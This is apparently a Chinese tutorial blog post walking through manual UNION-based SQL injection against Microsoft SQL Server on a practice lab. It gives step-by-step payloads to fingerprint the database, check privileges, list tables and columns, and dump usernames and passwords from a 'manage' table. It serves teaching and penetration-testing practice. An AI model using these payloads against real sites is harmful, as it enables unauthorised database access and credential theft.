Microsoft SQL Server手注之联合查询注
一、如何判断是否为Mssql数据库?
EXISTS运算符,用于判断查询子句是否有记录,如果有一条或多条记录存在返回 True,否则返回 False。
语句:and exists(select * from sysobjects) --,语句返回正确则为Sql server的数据库 ,其中sysobjects跟mysql中的information_schema表类似。
二、Mssql数据库中有哪三种权限?
1.sa权限:数据库操作,⽂件管理,命令执⾏,注册表读取等 相当于system
判断语句:and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
2.db权限:⽂件管理,数据库操作等 ,相当于users-adminstrators
判断语句:and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
3.public权限:数据库操作 相当于guest-users
判断语句:and 1=(select is_srvrolemember('public')) //判断是否为public权限
三、如何调用Mssql数据库的代码?
四、基本流程
1.判断是否存在注入(同mysql)
2.判断字段数:order by
3.寻找字符型显位
语句:id=-2 union all select null,null,null,null. 将null进行逐个替换从而爆出显位((如下图),这里的id值需要改成负数也许是因为源代码中有类似mysql_fetch_array()只获取首行关联数组的代码,所以需要将其错掉从而执行union之后的代码。

4.查询基本信息
语句:id=-2 union all select null,@@version,db_name(),null
说明:可得出版本号为2005 - 9.00.1399.06 ,数据库名为mozhe_db_v2

5.查询表名
语句: ?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
说明:其中的top 1具有限定行数的作用,结果查询出第一张表的名字为manage

5.1想要查其他表怎么办?
语句:id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
说明:加上 and not in (’table_name to be konwn‘,' table_name to be konwn')即可,如下图为查询的第二章表

6.获取列名
语句:id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
说明:以上语句可获得第一个列名 'id',如果想要获取其他列名只需要将col_name()中的第二个参数改为对应数值即可,可获得余下得列名分别为username,password
7.获取数据
语句:id=-2 union all select null,username, password ,null from manage

浙公网安备 33010602011771号